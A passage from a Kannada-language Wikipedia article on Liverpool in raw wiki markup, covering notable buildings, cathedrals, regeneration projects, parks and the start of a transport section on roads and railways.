ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸ್ಕೂಲ್ ಆಫ್ ಆರ್ಕಿಟೆಕ್ಚರ್ ವಿಡಿಯೊ] YouTube</ref> ಯುರೋಪಿನೆಲ್ಲೆಡೆ ನಿಯೋ-ಕ್ಲಾಸಿಕಲ್(ಆಧುನಿಕ ಮಾದರಿಯ) ಕಟ್ಟಡದ ಉತ್ತಮ ಉದಾಹರಣೆಯಾಗಿ ವ್ಯಾಪಕವಾಗಿ ಭಾವಿಸಲ್ಪಟ್ಟೀದೆ ಯೋ, ಅದರ ಪ್ರದೇಶಗಳು ನಿಯೋ-ಕ್ಲಾಸಿಕಲ್(ಆಧುನಿಕ ಮಾದರಿಯ) ವಾಸ್ತು ಶಿಲ್ಪದ ಹಿಡಿತಕ್ಕೊಳಪಟ್ಟಿವೆ.<ref name="ReferenceA"/> ಇದು ಶ್ರೇಣಿಯ ಮೊದಲ ದರ್ಜೆಯ ಕಟ್ಟಡ, ನಗರದಲ್ಲಿ ವಿವಿಧ ಪೌರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ನಡೆಸಲು 1840 ಮತ್ತು 1855ರ ನಡುವೆ ಇದು ನಿರ್ಮಾಣಗೊಂಡಿತು ಮತ್ತು ಇದರ ಬಾಗಿಲುಗಳು "ಎಸ್.ಪಿ.ಕ್ಯೂ.ಎಲ್." (ಲ್ಯಾಟಿನ್ senatus populusque Liverpudliensis) ಗಳಿಂದ ಕೆತ್ತಲ್ಪಟ್ಟಿವೆ. ಇದರ ಅರ್ಥ "ಲಿವರ್‌ಪೂಲ್‌ನ ರಾಷ್ಟ್ರೀಯ ಪರಿಷತ್ತು ಮತ್ತು ಜನತೆ" ಎಂದಾಗುತ್ತದೆ. (ಲ್ಯಾಟಿನ್ ''senatus populusque Liverpudliensis'' ), ಇದರ ಅರ್ಥ "ಲಿವರ್‌ಪೂಲ್‌ನ ರಾಷ್ಟ್ರೀಯ ಪರಿಷತ್ತು ಮತ್ತು ಜನತೆ" ಎಂದಾಗುತ್ತದೆ. ವಿಲಿಯಂ ಬ್ರೌನ್ ಸ್ಟ್ರೀಟ್ ವೆಲ್ಲಿಂಗ್‌ಟನ್‌ನ ಕೊಲ್ಯುಮ್ನ್ ಮತ್ತು ಸ್ಟೇಬಲ್ ಫೌಂಟೇನ್‌ಗಳನ್ನೊಳಗೊಂಡು, ಅನೇಕ ಸಾರ್ವಜನಿಕ ಕೀರ್ತಿ ಸ್ಥಂಭಗಳು ಮತ್ತು ಪ್ರತಿಮೆಗಳನ್ನು ಸಹ ಹೊಂದಿದೆ. ಸೇಂಟ್ ಜಾನ್ಸ್ ಗಾರ್ಡನ್ಸ್ ಸುತ್ತಮುತ್ತಲಿನ ಪ್ರದೇಶಗಳನ್ನು ಮುಖ್ಯವಾಗಿ ಇದೇ ಉದ್ದೇಶವಿಟ್ಟುಕೊಂಡೆ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗಿದೆ.<ref>ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p93</ref> ವಿಲಿಯಂ ಬ್ರೌನ್ ಸ್ಟ್ರೀಟ್ ಪ್ರದೇಶವು, ರೋಮನ್ ಫೋರಂ‌ನ ಆಧುನಿಕ ಮನರಂಜನೆಗೆ ಮಾದರಿಯಂತಾಯಿತು.<ref>[http://www.bbc.co.uk/programmes/b00tq3zz ಪಿಪಲ್ಸ್ ಪ್ಯಾಲೆಸಸ್: ದಿ ಗೊಲ್ಡನ್ ಏಜ್ ಆಫ್ ಸಿವಿಲ್ ಆರ್ಕಿಟೆಕ್ಚರ್] BBC4, ಸೆಪ್ 2010, ಪ್ರೆಸೆಂಟರ್ ಡಾ.ಜೊನಾಥನ್ ಫೊಯ್ಲೆ</ref> ===ಇತರ ಪ್ರಸಿದ್ಧ ಹೆಗ್ಗುರುತುಗಳು=== [[File:Speke Hall, Liverpool.jpg|thumb|right|ಸ್ಪೆಕ್ ಹಾಲ್ ಟ್ಯೂಡೊರ್ ಮ್ಯಾನರ್ ಹೌಸ್ ಇದು ಲಿವರ್‌ಪೂಲ್‌ನ ಅತ್ಯಂತ ಹಳೆಯ ಕಟ್ಟಡಗಳಲ್ಲೊಂದು]] [[File:West Tower, Liverpool May 23 2010 005.jpg|thumb|upright|ವೆಸ್ಟ್‌ ಟವರ್ 2008ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡ ನಂತರದಲ್ಲಿ ನಗರದ ಅತ್ಯಂತ ಎತ್ತರದ ಕಟ್ಟಡವಾಗಿದೆ]] ಲಿವರ್‌ಪೂಲ್‌ನ ಹಲವಾರು ಕಟ್ಟಡಗಳು ಹದಿನೆಂಟನೆಯ ಶತಮಾನದ ಮಧ್ಯದ ನಂತರದವು ಇವುಗಳಲ್ಲಿ ಕೆಲವು ಈ ಸಮಯಕ್ಕಿಂತ ಹಿಂದಿನವು. ಸ್ಪೀಕರ್ ಹಾಲ್ ಅತ್ಯಂತ ಹಳೆಯದಾಗಿರುವ ಹಾಗೂ ಇನ್ನೂ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಕಟ್ಟಡಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ,1598ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡ ಟ್ಯೂಡರ್ ಮ್ಯಾನರ್ ಹೌಸ್ ನಗರದ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ಪತ್ತೆಯಾಗಿದೆ.<ref>ಹ್ಯೂಗ್ಸ್ ‘(1999), p20</ref> ಈ ಕಟ್ಟಡವು ಕೆಲವೇ ಕೆಲವು ಇನ್ನೂ ಉಳಿದಿರುವ ಮರದ ಚೌಕಟ್ಟಿನ ಟ್ಯೂಡರ್ ಹೌಸಸ್‌ಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು ಇದು ಇಂಗ್ಲೆಂಡಿನ ಉತ್ತರದಲ್ಲಿ ಎಡಭಾಗದಲ್ಲಿದೆ ಮತ್ತು ಇದು ಪ್ರಮುಖವಾಗಿ ಮಧ್ಯ ಯುಗದ ೧೯ನೇ ಶತಮಾನದಲ್ಲಿ ಸೇರಿಕೊಂಡ ಇದರ ವಿಕ್ಟೋರಿಯನ್ ಒಳಾಂಗಣಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧವಾಗಿದೆ.<ref>{{Cite book|last=Cousens |first=Belinda Cousins |title=Speke Hall |publisher=[[National Trust for Places of Historic Interest or Natural Beauty|National Trust]] |year=2006 |page=5 }}</ref> ಸ್ಪೇಕ್ ಹಾಲ್ ಅಲ್ಲದೇ,ನಗರದಲ್ಲಿ ಉಳಿದುಕೊಂಡಿರುವ ಹಲವಾರು ಪುರಾತನಗಳು ವಿಶಾಲವಾದ ಜಾಗದಲ್ಲಿರುವ ಭವನಗಳಾಗಿದ್ದು ಇವುಗಳಲ್ಲಿ ಕ್ರೊಕ್ಸ್‌ಟೆಂತ್ ಹಾಲ್ ಮತ್ತು ವೂಲ್ಟನ್ ಹಾಲ್ ಕೂಡ ಸೇರಿವೆ, ಇವುಗಳು 1702 ಮತ್ತು 1704 ಗಳಲ್ಲಿ ಸಂಪೂರ್ಣಗೊಂಡಿವೆ.<ref>ಹ್ಯೂಗ್ಸ್ (1999), p22</ref> 1717 ಮತ್ತು 1718ರ ನಡುವೆ ನಿರ್ಮಾಣಗೊಂಡ, ಶ್ರೇಣಿಯ ಮೊದಲ ದರ್ಜೆಯಲ್ಲಿರುವ ಬ್ಲೂಕೋಟ್ ಛೇಂಬರ್ಸ್,<ref>[https://www.youtube.com/watch?v=8BC74oUqrrU ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸ್ಕೂಲ್ ಆಫ್ ಆರ್ಕಿಟೆಕ್ಚರ್ ವಿಡಿಯೊ] YouTube</ref> ನಗರದ ಒಳಗಿರುವ ಅತ್ಯಂತ ಹಳೆಯದಾದ ಕಟ್ಟಡವಾಗಿದೆ. ಇದು ಬ್ರಿಟಿಶ್ ಕ್ವೀನ್ ಏನೀ ಶೈಲಿಯಲ್ಲಿ ನಿರ್ಮಾಣವಾಯಿತು,<ref name="Liverpool City Council 2005 p97">ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p97</ref><ref>ಹ್ಯೂಗ್ಸ್ (1999), p23</ref> ಈ ಕಟ್ಟಡವು ಆ ಭಾಗದಲ್ಲಿ ಕ್ರಿಸ್ಟೋಫರ್ ರೆನ್‌<ref>ಶಾರ್ಪ್ಲ್ಸ್ (2004), p7</ref> ನ ಕೆಲಸದಿಂದ ಪ್ರಭಾವಿತವಾಯಿತು ಮತ್ತು ನಿಜವಾಗಿ ಇದು ಬ್ಲೂಕೋಟ್ ಸ್ಕೂಲ್‌(ನಂತರ ಇವರು ನಗರದ ದೊಡ್ಡ ಜಾಗಕ್ಕೆ ಬದಲಾದರು) ನ ಮನೆಯಾಗಿತ್ತು 1908ರಿಂದ ಇದು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಕಲೆಗಳಿಗೆ ಕೇಂದ್ರ ಸ್ಥಾನವಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿತ್ತು.<ref name="Liverpool City Council 2005 p97" /> [[File:Liverpool Anglican Cathedral North elevation.jpg|thumb|left|ಲಿವರ್‌ಪೂಲ್ ಕೆಥಡ್ರಲ್ ಇದು ಇಪ್ಪತ್ತನೆಯ ಶತಮಾನದ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧ ಕಟ್ಟಡ ಎಂದು ಹೆಸರಾಗಿದೆ]] ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಎರಡು ಕೆಥೆಡ್ರಲ್ ಗುರುತಿಸಬಹುದು. ಪ್ರತಿಯೊಂದು ಸುತ್ತಲು ಸೊಗಸಾದ ಪ್ರಕೃತಿಯನ್ನು ಹೊಂದಿವೆ.<ref>{{Cite web|title=The Cathedrals of Britain: Liverpool’s Cathedrals |publisher=BBC |url=http://www.bbc.co.uk/history/british/architecture_cathedral_08.shtml |accessdate=2009-07-15}}</ref> 1904 ರಿಂದ 1978ರ ನಡುವಿನ ಅವಧಿಯಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡ ಆಂಗ್ಲಿಕನ್ ಕೆಥಡ್ರಲ್, ಬ್ರಿಟನ್‌ನಲ್ಲಿ ಅತಿದೊಡ್ಡ ಇಗರ್ಜಿಯಾಗಿದೆ<ref>{{Cite book|last=Brooks |first=John |coauthors=Crampton, Malcolm |title=Liverpool Cathedral |publisher=Jarold Publishing |year=2007 |page=2 }}</ref> ಮತ್ತು ಜತ್ತಿನ ಐದನೇ ಅತಿ ದೊಡ್ಡದಾಗಿದೆ. ಇದನ್ನು ಗೋಥಿಕ್ ಶೈಲಿಯಲ್ಲಿ ವಿನ್ಯಾಸಗೊಳಿಸಿ ನಿರ್ಮಿಸಲಾಗಿದ್ದು ಇಪ್ಪತ್ತನೇಯ ಶತಮಾನದಲ್ಲಿ ನಿರ್ಮಿಸಲಾದ ಅತ್ಯಂತ ದೊಡ್ಡ ಕಟ್ಟಡವಾಗಿದೆ<ref>ಶಾರ್ಪ್ಲ್ಸ್ (2004), p83</ref>. ಇದು ಪ್ರಪಂಚದಲ್ಲಿಯೇ ಅತ್ಯಂತ ದೊಡ್ಡ ಕಟ್ಟಡವಾಗಿದೆ ಎಂದು ಇಂಗ್ಲೆಂಡಿನ ಮಾಜಿ ಲಾರೆಟ್ ಕವಿ ಜಾನ್ ಬೆಂಟ್ಜಮನ್ ವ್ಯಾಖ್ಯಾನಿಸಿದ್ದಾರೆ.<ref>{{Cite web|title=Liverpool Cathedral |publisher=VisitLiverpool.com |url=http://www.visitliverpool.com/site/liverpool-anglican-cathedral-p9023 |accessdate=2009-07-15}}</ref> ರೋಮನ್ ಕೇಥೋಲಿಕ್ ಮೆಟ್ರೋಪೊಲಿಶನ್ ಕೆಥೆಡ್ರಲ್ 1962ರಿಂದ 1967ರ ನಡುವೆ ನಿರ್ಮಾಣಗೊಂಡಿತು ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ಉದ್ದುದ್ದವಾದ ವಿನಾಸವನ್ನು ಮೊಟ್ಟ ಮೊದಲು ತಡೆದ ಚರ್ಚ್‌ಗಳಲ್ಲಿ ಒಂದು ಎಂದು ಪ್ರಸಿದ್ಧಿಯನ್ನು ಪಡೆಯಿತು.<ref>ಶಾರ್ಪಲ್ಸ್ (2004), p73</ref> ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್‌ನ ನಗರದ ಮಧ್ಯ ಭಾಗದ ಅನೇಕ ಭಾಗಗಳು ಅನೇಕ ವರ್ಷಗಳ ಕಡೆಗಣನೆಯ ನಂತರ ಅರ್ಥಪೂರ್ಣವಾದ ಮರು ಸುಧಾರಣೆಯನ್ನು ಮತ್ತು ಪುನರ್ಜನ್ಮವನ್ನು ಪದೆದಿವೆ. ಲಿವರ್‌ಪೂಲ್ ಒನ್ ಅಭಿವೃದ್ಧಿಗಳಿಗಾಗಿ £1ಬಿಲಿಯನ್ ಹಣವನ್ನು ಹೂಡಿಕೆ ಮಾಡಲಾಗಿತ್ತು.{{convert|42|acre|m2}} ಇದನ್ನು ಭೂಮಿ, ಹೊಸ ರಿಟೇಲ್ ವ್ಯಾಪಾರ, ವಾಣಿಜ್ಯ, ವಾಸಸ್ಥಳ, ಮನರಂಜನಾ ಸ್ಥಳಗಳಿಗಾಗಿ ಹೂಡಿಕೆ ಮಾಡಲಾಗಿತ್ತು.<ref>{{Cite web |title=Key Facts |publisher=[[Grosvenor Group]] |url=http://www.liverpoolpsda.co.uk/ProjectOverview/keyfacts.htm |accessdate=2009-06-14 |archive-date=2009-06-11 |archive-url=https://web.archive.org/web/20090611095659/http://www.liverpoolpsda.co.uk/ProjectOverview/keyfacts.htm |url-status=dead }}</ref> ರಿಬಾ(ರಾಯಲ್ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಬ್ರಿಟಿಶ್ ಆರ್ಕಿಟೆಕ್ಟ್ಸ್) ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದ ಯುನಿಟಿ ಬಿಲ್ಡಿಂಗ್ಸ್ ಮತ್ತು 140ಎಮ್ ಹೊಂದಿರುವ ಲಿವರ್‌ಪೂಲ್‌ನ ಅತಿ ಎತ್ತರ ಕಟ್ಟಡವಾದ ವೆಸ್ಟ್ ಟವರ್‌ಗಳನ್ನೊಳಗೊಂಡು ಅನೇಕ ಹೊಸ ಗಗನಚುಂಬಿ ಕಟ್ಟಡಗಳು ನಗರದ ಮಧ್ಯದ ಉತ್ತರ ಭಾಗದ ಸುತ್ತ ನಿರ್ಮಾಣವಾಗಿತ್ತಿದ್ದವು. ಸೆಂಟ್ರಲ್ ವಿಲೇಜ್(ಯೋಜನೆಗೆ ಅನುಮತಿ ದೊರೆಯಿತು),<ref>{{Cite web|last=Sharp |first=Laura |title=Liverpool Central Village regeneration plan approved |publisher=Liverpool Echo |date=2009-05-12 |url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2009/05/12/liverpool-central-village-regeneration-plan-approved-100252-23598263/ |accessdate=2009-07-15}}</ref> ಲೈಮ್ ಸ್ಟ್ರೀಟ್ ದ್ವಾರ(ಕೆಲಸ ಆರಂಭವಾಯಿತು)<ref>{{Cite web |title=Lime Street Gateway, Liverpool |publisher=[[English Partnerships]] |date=2008-10-15 |url=http://www.englishpartnerships.co.uk/limestreet.htm |accessdate=2009-07-15 |archive-date=2009-02-28 |archive-url=https://web.archive.org/web/20090228134054/http://www.englishpartnerships.co.uk/limestreet.htm |url-status=dead }}</ref> ಮತ್ತು ಅತ್ಯಂತ ಮಹತ್ವಾಕಾಂಕ್ಷೆಯ ಲಿವರ್‌ಪೂಲ್ ವಾಟರ್ಸ್‌(ಈಗ ಯೋಜನೆಯ ಹಂತದಲ್ಲಿದೆ)<ref>{{Cite web |title=Peel unveil £5.5 billion investment plans |publisher=[[Peel Holdings]] |date=2007-03-06 |url=http://www.peel.co.uk/peelholdings/source/newsdetails.asp?type=1&page=1&newsid=169 |accessdate=2009-07-15 |archive-date=2007-10-09 |archive-url=https://web.archive.org/web/20071009163744/http://www.peel.co.uk/peelholdings/source/newsdetails.asp?type=1&page=1&newsid=169 |url-status=dead }}</ref> ಗಳನ್ನೊಳಗೊಂಡ ಅನೇಕ ಭವಿಷ್ಯದ ಮರು ಸುಧಾರಣಾ ಸ್ಥೂಲ ನಕ್ಷೆಗಳು ಕೂಡಾ ಪೂರ್ವಯೋಜಿತವಾದವು. ಸ್ಪೀಕ್ ಏರ್‌ಪೋರ್ಟ್‌ನ ಆರ್ಟ್ ಡೆಕೋ ಫಾರ್ಮರ್ ಟರ್ಮಿನಲ್ ಬಿಲ್ಡಿಂಗ್, ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಲಿವರ್‌ಪೂಲ್ ವಿಕ್ಟೋರಿಯ ಬಿಲ್ಡಿಂಗ್(''ರೆಡ್ ಬ್ರಿಕ್ ಯುನಿವರ್ಸಿಟಿ'' ಪದಕ್ಕೆ ಪ್ರೇರೇಪಣೆಯನ್ನು ನೀಡಿದ್ದ ಕಟ್ಟಡ) ಮತ್ತು ಜಗತ್ತಿನ ಎಲ್ಲೆಡೆ ಅತ್ಯಂತ ಉತ್ತಮವಾದ ಹೊಟೆಲ್‌ಗಳಲ್ಲೊಂದಾಗಿ ಮೊದಲೇ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದ್ದ ಅಡೆಲ್ಫಿ ಹೊಟೆಲ್‌ಗಳಂತಹ ಇತರ ಅನೇಕ ಪ್ರಸಿದ್ಧ ಕಟ್ಟಡಗಳು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿವೆ.<ref>{{Cite web|last=Coslett |first=Paul |title=Once Upon a Time at the Adelphi |publisher=BBC |date=2008-06-20 |url=http://www.bbc.co.uk/liverpool/content/articles/2008/06/20/once_upon_a_time_adelphi_feature.shtml |accessdate=2009-07-15}}</ref> ದಿ ಇಂಗ್ಲಿಷ್ ಹೆರಿಟೇಜ್ ನ್ಯಾಶನಲ್ ರಿಜಿಸ್ಟರ್ ಆಫ್ ಹಿಸ್ಟೋರಿಕ್ ಪಾರ್ಕ್ಸ್ ವಿವರಿಸಿವಂತೆ, ಮರ್ಸಿಸೈಡ್‌ನ [[:ವರ್ಗ:Parks and commons in Liverpool|ವಿಕ್ಟೋರಿಯನ್ ಪಾರ್ಕ್ಸ್]] ಒಟ್ಟಾರೆಯಾಗಿ "ದೇಶದಲ್ಲಿ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದುದ್ದಾಗಿದೆ"<ref>{{Cite web|url=http://www.liv.ac.uk/mcs/lfs/consultations/blandfordlet0205.pdf |title=President:: The Rt Hon the Earl of Derby |format=PDF |date= |accessdate=2010-08-03}}</ref>. ಲಿವರ್‌ಪೂಲ್ ನಗರವು ಪಟ್ಟಿಮಾಡಿದ ಹತ್ತು ಪಾರ್ಕ್ ಮತ್ತು ಸಮಾಧಿಸ್ಥಗಳನ್ನು ಹೊಂದಿದ್ದು ಮೂರು ಶ್ರೇಣಿ* ಒಳಗೊಂಡಂತೆ ಇತರ ಯಾವುದೇ ಇಂಗ್ಲೆಂಡ್ ನಗರಗಳಿಗಿಂತ ಭಿನ್ನವಾಗಿದೆ.<ref>[https://web.archive.org/web/20090304195958/http://www.liverpool.gov.uk/News/newsdetail_2910.asp ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್] ''ನ್ಯೂಸ್'' , 23/2/2009</ref> ==ಸಾರಿಗೆ== {{Main|Transport in Liverpool}} [[File:Benkid77 Kingsway Tunnel Approach Road 2 090809.JPG|thumb|right|ಕಿಂಗ್ಸ್‌ವೆ ಸುರಂಗಮಾರ್ಗಕ್ಕಿರುವ ವೆಲ್ಲೆಸ್ಲಿ ಮಾರ್ಗಲಿವರ್‌ಪೂಲ್‌ನ ಗಗನನೋಟವನ್ನು ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಕಾಣಬಹುದು]] ಲಿವರ್‌ಪೂಲ್‌ ಇದನ್ನು ನಗರದ ರಸ್ತೆಗಳು ಮತ್ತು ರೈಲು ಮಾರ್ಗಗಳ ಕೆಂದ್ರ ಭಾಗದಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಇಲ್ಲಿಂದ ರಸ್ತೆಯನ್ನು ಮುಂದುವರಿಸಿಕೊಂಡು ಹೋಗುವಂತೆ ನಿರ್ಮಿಸಲಾಗಿದ್ದು ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನ ಯಾವುದೇ ಭಾಗಕ್ಕಾದರೂ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸಲು ಸಾಧ್ಯವಾಗುವಂತೆ ಸಂರಚನೆ ಮಾಡಲಾಗಿದೆ. ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಬೃಹತ್‌ ಪ್ರಮಾಣದಲ್ಲಿ ಸ್ಥಳಿಯ ರಸ್ತೆ ಸಂಚಾರವು ಅನುಕೂಲಕರವಾಗಿದ್ದು ಸಂಚಾರ ವ್ಯವಸ್ಥೆಯು ಮರ್ಸೈಡ್‌ ಪ್ಯಾಸೆಂಜರ್‌ ಟ್ರಾನ್ಸಪೋರ್ಟ್‌ ಎಕ್ಸಿಕ್ಯೂಟಿವ್‌ ಇದರ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟಿದೆ ಮತ್ತು ಇಲ್ಲಿ ರೈಲು ಬಸ್‌ ಮತ್ತು ವಿಮಾನ ಹಾಗೂ ಹಡಗು ಸೌಕರ್ಯಗಳೆಲ್ಲವನ್ನೂ ಒಳಗೊಂಡಿದೆ. ಇದೇ ನಗರದಲ್ಲಿ ಒಂದು ಅಂತರಾಷ್ಟ್ರೀಯ ವಿಮಾನ ನಿಲ್ದಾಣ ಮತ್ತು ಪ್ರಮುಖ ಬಂದರನ್ನು ಹೊಂದಿದ್ದು ಇವೆರಡೂ ದೇಶದಿಂದ ಹೊರಗಿರುವ ಪ್ರದೇಶಗಳಿಗೆ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸಿಕೊಡುತ್ತದೆ. ===ರಾಷ್ಟ್ರೀಯ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಾರಿಗೆ=== ;ರಸ್ತೆ ಸಾರಿಗೆ ಇಂಗ್ಲೆಂಡ್‌ನ ಪ್ರಮುಖ ನಗರವಾಗಿದ್ದು, ಲಿವರ್‌ಪೂಲ್‌ ದೇಶದ ಇತರ ಭಾಗಗಳಿಗೆ ನೇರವಾದ ಸಂಪರ್ಕವನ್ನು ಹೊಂದಿದೆ. ಪೂರ್ವದಲ್ಲಿ M62 ವಾಹನ ಸಾಗಾಟ ಮಾರ್ಗವು ಲಿವರ್‌ಪೂಲ್‌ನ್ನು ಹಲ್‌ ಮತ್ತು ಇತರ ಪ್ರಮುಖ ನಗರಗಳಾದ [[ಮ್ಯಾಂಚೆಸ್ಟರ್|ಮಾಂಚೆಸ್ಟರ್‌]], ಲೀಡ್ಸ್‌ ಮತ್ತು ಬ್ರಾಡ್‌ಫೋರ್ಡ್‌ ಗಳನ್ನೊಳಗೊಂಡಂತೆ ಅನೇಕ ನಗರಗಳನ್ನು ಸಂಪರ್ಕಿಸುತ್ತದೆ. M62 ಮಾರ್ಗವು M6ವಾಹನ ಸಾಗಾಟ ಮಾರ್ಗ ಮತ್ತು M1ವಾಹನ ಸಾಗಾಟ ಮಾರ್ಗವನ್ನೂ ಕೂಡ ಸಂಪರ್ಕಿಸುವುದರೊಂದಿಗೆ ದೂರದ ಪ್ರಮುಖ ನಗರಗಳಾದ ಬ್ರಿಮಿಗಂ, ಶೆಫಿಲ್ಡ್‌, ಪ್ರೆಸ್ಟೊನ್‌, [[ಲಂಡನ್|ಲಂಡನ್‌]] ಮತ್ತು ನ್ಯಾಟಿಂಗ್‌ಹಮ್‌ಗಳೊಂದಿಗೆ ಪರೋಕ್ಷವಾಗಿ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸುತ್ತದೆ.<ref>{{Cite web|last= |first= |title=Motorway Database M62 |publisher=cdrd.co.uk |date= |url=http://www.cbrd.co.uk/motorway/m62/ |accessdate=2008-02-07}}</ref> ನಗರದ ಪಶ್ಚಿಮ ದಿಕ್ಕಿನಲ್ಲಿ ಕಿಂಗ್ಸ್‌ ವೇ ಮತ್ತು ಕ್ವಿನ್ಸ್‌ ವೇ ಎಂಬೆರಡು ಸುರಂಗ ಮಾರ್ಗಗಳು ವಿರಾಲ್‌ ಪೆನಿನ್ಸುಲಾದೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ನೀಡಿ ಜೊತೆಯಲ್ಲಿಯೇ ಬಿರ್ಕೆನ್‌ಹೆಡ್‌ ಮತ್ತು ವೆಲ್ಲೆಸ್ಸಿಯೊಂದಿಗೂ ಸಂಪರ್ಕವನ್ನು ನಿಡುತ್ತದೆ. A41ರಸ್ತೆಯು ಬಿರ್ಕೆನ್‌ಹೆಡ್‌ನಿಂದ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ ಚೆಶಿಯರ್‌ ಮತ್ತು ಶ್ರೊಪ್‌ಶೈರ್‌ ಮತ್ತು A55 ಮಾರ್ಗದಲ್ಲಿನ ಉತ್ತರ ವೆಲ್ಸ್‌ಗೂ ಕೂಡ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸಿ ನೀಡುತ್ತದೆ.<ref>{{Cite web|last= |first= |title=Motorway Database A55 |publisher=cdrd.co.uk |date= |url=http://www.cbrd.co.uk/motorway/a55/ |accessdate=2008-02-07}}</ref> ದಕ್ಷಿಣದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌, A562 ಮಾರ್ಗವಾಗಿ ವಿಡ್ನೆಸ್‌ ಮತ್ತು ವಾರಿಂಗ್‌ಟನ್‌ಗಳನ್ನು ಸಂಪರ್ಕಿಸುತ್ತದೆ ಮತ್ತು ಮರ್ಸಿ ನದಿಯುದ್ದಕ್ಕೂ ಸಿಲ್ವರ್‌ ಜುಬ್ಲಿ ಸೇತುವೆಯ ಮೂಲಕ ಸಾಗಿ ರನ್‌ಕಾರ್ನ್‌‌ ಅನ್ನು ಸಂಪರ್ಕಿಸುತ್ತದೆ. ಈಗಿರುವ ವಾಹನದಟ್ಟಣೆಯನ್ನು ನಿರಾಳವಾಗಿ ನಿಭಾಯಹಿಸುವ ದೃಷ್ಟಿಯಿಂದ ಇಲ್ಲಿಯೇ ಮತ್ತೊಂದು ಸೇತುವೆಯನ್ನು ಕಟ್ಟಲು ಯೋಜನೆಯನ್ನು ರೂಪಿಸಲಾಗಿದ್ದು ಇದನ್ನು ಮರ್ಸಿ ಗೆಟ್‌ವೇ ಎಂದು ಕರೆಯಲಾಗಿದೆ. [[File:Lime street july 2010.jpg|thumb|right|ಲಿವರ್‌ಪೂಲ್‌ನ ಲೈಮ್‌ಸ್ಟ್ರೀಟ್ ಸ್ಟೇಷನ್]] ;ರೈಲು ಸಾರಿಗೆ ಲಿವರ್‌ಪೂಲ್‌ ಎರಡು ರೈಲ್ವೆ ಮಾರ್ಗ ಜಾಲಗಳನ್ನು ಹೊಂದಿದೆ. ಸ್ಥಳೀಯ ರೈಲ್ವೆ ಮಾರ್ಗಜಾಲವು ’ಮರ್ಸಿರೈಲ್‌’ರವರಿಂದ ನಡೆಸಲ್ಪಡುತ್ತಿದೆ ಮತ್ತು ಇದು ಮರ್ಸಿಯ ಎಲ್ಲ ಭಾಗಗಳಿಗೂ ಸಂಪರ್ಕವನ್ನು(ಕೆಳಗೆ ನೀಡಿದ ಸ್ಥಳೀಯ ಸಾಗಾಟ ವಿವರವನ್ನು ನೋಡಬಹುದು) ಸಾಧಿಸಿಕೊಡುತ್ತದೆ. ರಾಷ್ಟ್ರೀಯ ರೈಲು ಮಾರ್ಗಜಾಲವು ಲಿವರ್‌ಪೂಲ್‌ನೊಂದಿಗೆ ಇಂಗ್ಲೆಂಡ್‌ನ ಪ್ರಮುಖ ನಗರಗಳ ಜೊತೆಗೆ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸುತ್ತದೆ. ನಗರದ ಪ್ರಮುಖ ನಿಲ್ದಾಣವೆಂದರೆ ’ಲೈಮ್‌ ಸ್ಟ್ರೀಟ್‌ ಸ್ಟೇಷನ್‌’ ಆಗಿದೆ. ನಗರಕ್ಕಿರುವ ಪ್ರಮುಖ ರಸ್ತೆ ಮಾರ್ಗವಾಗಿ ಲೈಮ್ ಸ್ಟ್ರೀಟ್ ಸ್ಟೇಷನ್ ಮುಖ್ಯ ಕೇಂದ್ರವಾಗಿ ಕೆಲಸ ನಿರ್ವಹಿಸುತ್ತದೆ. ಲೈಮ್‌ ಸ್ಟ್ರೀಟ್‌ನಿಂದ ಹೊರಟ ರೈಲು ಮಾರ್ಗವು ಲಂಡನ್‌(ಪೆಂಡೊಲಿನೊ ರೈಲಿನಲ್ಲಿ ಪ್ರಯಾಣಿಸಿದರೆ 2 ಗಂಟೆ 8 ನಿಮಿಷಗಳು), ಬರ್ಮಿಂಗ್‌ಹ್ಯಾಮ್, ನ್ಯೂ ಕಾಸ್ಟಲ್‌ ಆಪಾನ್‌ ಟೈನ್‌, [[ಮ್ಯಾಂಚೆಸ್ಟರ್|ಮಾಂಚೆಸ್ಟರ್‌]], ಪ್ರೆಸ್ಟಾನ್‌, 